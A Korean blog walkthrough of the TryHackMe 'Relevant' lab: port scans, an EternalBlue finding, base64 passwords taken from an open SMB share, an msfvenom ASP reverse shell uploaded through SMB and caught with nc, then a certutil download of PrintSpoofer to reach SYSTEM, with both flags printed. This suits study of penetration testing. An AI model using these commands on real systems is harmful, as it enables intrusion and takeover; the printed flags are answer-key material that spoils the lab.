상세 컨텐츠

본문 제목

[TryHackMe] Relevant

Penetration/TryHackMe

by obscurity_ 2024. 9. 27. 14:47

본문

안녕하세요

이번에 풀어볼 머신은 Relevant입니다.

 

┌──(root㉿kali)-[~/hack/LAB/Relevant]
└─# nmap --open -p- --max-retries 1 --min-rate 4000 -Pn 10.10.220.240
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-26 13:06 KST
Nmap scan report for 10.10.220.240
Host is up (0.26s latency).
Not shown: 65527 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
49663/tcp open  unknown
49667/tcp open  unknown
49669/tcp open  unknown

 

 

전체 포트스캐닝 결과는 8개의 포트가 열려있는 것을 확인했습니다.

이 머신을 처음 풀 때 unknown 포트가 활성화 된 것을 보고 처음에 무시를 했었습니다.

unknwon은 실제로 활성화하지 않아도 가끔 열린 것으로 스캔될 때가 있어서 무시했는데

이 머신에서는 상당히 중요한 역할을 해서 거짓양성 결과일 지라도 

한 번 더 체크하는 것이 중요하다는 것을 깨달았습니다.

 

┌──(root㉿kali)-[~/hack/LAB/Relevant]
└─# nmap -Pn -O -sV -p 135,139,445,3389,49663,49667,49669 10.10.220.240
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-26 13:08 KST
Nmap scan report for 10.10.220.240
Host is up (0.26s latency).

PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
49663/tcp open  http          Microsoft IIS httpd 10.0
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2016 (89%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

 

 

자세한 포트스캔 결과 49663번 포트에서도 IIS 웹서버가 실행중인 것을 확인할 수 있네요

우선 웹 서버에 접속을 한 번 해보겠습니다.

 

 

겉보기에는 80번 포트와 49663번 포트에서 돌아가는 웹서버가 동일한 것 같습니다.

우선 이 서버에 대해서 디렉토리 스캐닝을 해주면서 SMB 포트에 대한 취약점 스캔과

공유 리소스 목록을 확인해보겠습니다.

 

┌──(root㉿kali)-[~/hack/LAB/Relevant]
└─# nmap -Pn --script='smb-vuln*' -p 445 10.10.220.240 --min-rate 4000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-26 13:18 KST
Nmap scan report for 10.10.220.240
Host is up (0.27s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-ms10-054: false
┌──(root㉿kali)-[~/hack/LAB/Relevant]
└─# smbclient -L 10.10.220.240                                         
Password for [WORKGROUP\root]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        nt4wrksv        Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.220.240 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

 

 

대상 SMB는 이터널 블루에 취약한 것으로 확인됩니다.

또한 nt4wrksv라는 리소스가 공유되고 있다는 것을 확인할 수 있네요

이 리소스에 대해서 익명으로 접근해보니 읽기 권한이 허용되어 있어서

passwords.txt라는 파일을 다운로드 할 수 있었습니다.

 

┌──(root㉿kali)-[~/hack/LAB/Relevant]
└─# smbclient //10.10.220.240/nt4wrksv   
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Jul 26 06:46:04 2020
  ..                                  D        0  Sun Jul 26 06:46:04 2020
  passwords.txt                       A       98  Sun Jul 26 00:15:33 2020

                7735807 blocks of size 4096. 4935816 blocks available
smb: \> get passwords.txt
getting file \passwords.txt of size 98 as passwords.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> exit
                                                                                                         
┌──(root㉿kali)-[~/hack/LAB/Relevant]
└─# cat passwords.txt                                             
[User Passwords - Encoded]
Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk

 

 

딱 봤을 때 base64로 인코딩 되어있는 것 같아서 디코딩해보니 아래와 같이 비밀번호가 나옵니다.

Bob - !P@$$W0rD!123

Bill - Juw4nnaM4n420696969!$$$

 

한편으로 80포트와 49663번 포트에서 실행되는 웹 서버에 대해서는 디렉토리가 특별하게

발견되지는 않았습니다.

 

우리가 여기서 체크하고 넘어가야할 것은, 웹 서버에서 SMB에서 공유한 리소스에 대해서

공유하고 있는지를 체크해봐야 합니다.

 

 

 

현지 49663번 포트의 웹서버에서는 SMB와 마찬가지로 디렉토리에 접근했을 때

동일한 것이 출력됨에 따라서 SMB에서 공유하는 리소스가 웹에서도 마찬가지로

공유되고 있다는 것을 알 수 있습니다.

이 말은 우리가 SMB에서 리버스 쉘을 업로드 했을 때 웹서버에서 접근한다면

리버스쉘이 실행되어 쉘을 획득할 수 있다는 것이죠.

 

대상 서버가 IIS이니 IIS에 맞는 확장자를 업로드 해줍니다.

 

┌──(root㉿kali)-[~/hack/LAB/Relevant]
└─# msfvenom -p windows/shell_reverse_tcp LHOST=10.17.12.5 LPORT=1337 -f asp -o reverse.asp

 

이 명령을 통해서 리버스쉘을 생성하고

 

┌──(root㉿kali)-[~/hack/LAB/Relevant]
└─# smbclient //10.10.220.240/nt4wrksv
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Jul 26 06:46:04 2020
  ..                                  D        0  Sun Jul 26 06:46:04 2020
  passwords.txt                       A       98  Sun Jul 26 00:15:33 2020
p
                7735807 blocks of size 4096. 5136526 blocks available
smb: \> put reverse.asp
putting file reverse.asp as \reverse.asp (28.4 kb/s) (average 28.4 kb/s)
smb: \> ls
  .                                   D        0  Thu Sep 26 13:28:47 2024
  ..                                  D        0  Thu Sep 26 13:28:47 2024
  passwords.txt                       A       98  Sun Jul 26 00:15:33 2020
  reverse.asp                         A    38343  Thu Sep 26 13:28:49 2024

                7735807 blocks of size 4096. 5136516 blocks available
smb: \>

 

 

SMB에서 put 명령을 사용해서 리버스쉘을 업로드 해줍니다.

리버스 쉘을 업로드 하고 nc를 통해 포트를 연 뒤 웹서버에서 해당 리버스쉘에 접근하면

다음과 같이 쉘이 연결된 것을 확인할 수 있습니다.

 

┌──(root㉿kali)-[~/hack/LAB/Relevant]
└─# nc -lvnp 1337                                                                              
listening on [any] 1337 ...
connect to [10.17.12.5] from (UNKNOWN) [10.10.88.127] 49680
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>whoami
whoami
iis apppool\defaultapppool

 

 

먼저 유저 플래그 획득을 위해서 Bob이라는 사용자의 데스크탑으로 이동하여

플래그를 읽어줍니다.

 

 Directory of C:\Users\Bob\Desktop

07/25/2020  02:04 PM    <DIR>          .
07/25/2020  02:04 PM    <DIR>          ..
07/25/2020  08:24 AM                35 user.txt
               1 File(s)             35 bytes
               2 Dir(s)  20,277,026,816 bytes free

C:\Users\Bob\Desktop>more user.txt
more user.txt
THM{fdk4ka34vk346ksxfr21tg789ktf45}

 

그 다음으로 권한상승을 위해서 사용할 수 있는 권한이 무엇인지 확인하기 위해

whoami /priv를 쳤는데 SeImpersonatePrivilege 권한이 있습니다.

이 권한은 PrintSpoofer.exe 가 실행되었을 때 권한상승을 할 수 있는 권한입니다.

물론 되지 않을 수도는 있습니다.

 

칼리에서 위 깃허브 링크에서 다운한 PrintSpoofer.exe를 옮겨주기 위해서

파이썬 서버를 열고 머신에서 이를 다운로드 받은 뒤 실행하면 관리자 권한 획득에 성공합니다.

 

C:\Users\Bob\Desktop>certutil -f -urlcache http://10.17.12.5/PrintSpoofer.exe PrintSpoofer.exe
certutil -f -urlcache http://10.17.12.5/PrintSpoofer.exe PrintSpoofer.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.

C:\Users\Bob\Desktop>.\PrintSpoofer.exe
.\PrintSpoofer.exe
[-] Please specify a command to execute

C:\Users\Bob\Desktop>.\PrintSpoofer.exe -i -c cmd
.\PrintSpoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

 

 

이제 루트 플래그 획득을 위해서 루트 파일을 읽어줍니다.

 Directory of C:\Users\Administrator\Desktop

07/25/2020  08:24 AM    <DIR>          .
07/25/2020  08:24 AM    <DIR>          ..
07/25/2020  08:25 AM                35 root.txt
               1 File(s)             35 bytes
               2 Dir(s)  20,278,022,144 bytes free

C:\Users\Administrator\Desktop>more root.txt
more root.txt
THM{1fk5kf469devly1gl320zafgl345pv}

 

이것으로 Relevant 모의침투를 마치겠습니다.

'Penetration > TryHackMe' 카테고리의 다른 글

[TryHackMe] Internal  (5) 2024.09.28
[TryHackMe] Daily Bugle  (2) 2024.09.26
[TryHackMe] Skynet  (2) 2024.09.26
[TryHackMe] Game Zone  (1) 2024.09.25
[TryHackMe] HackPark  (0) 2024.09.25

관련글 더보기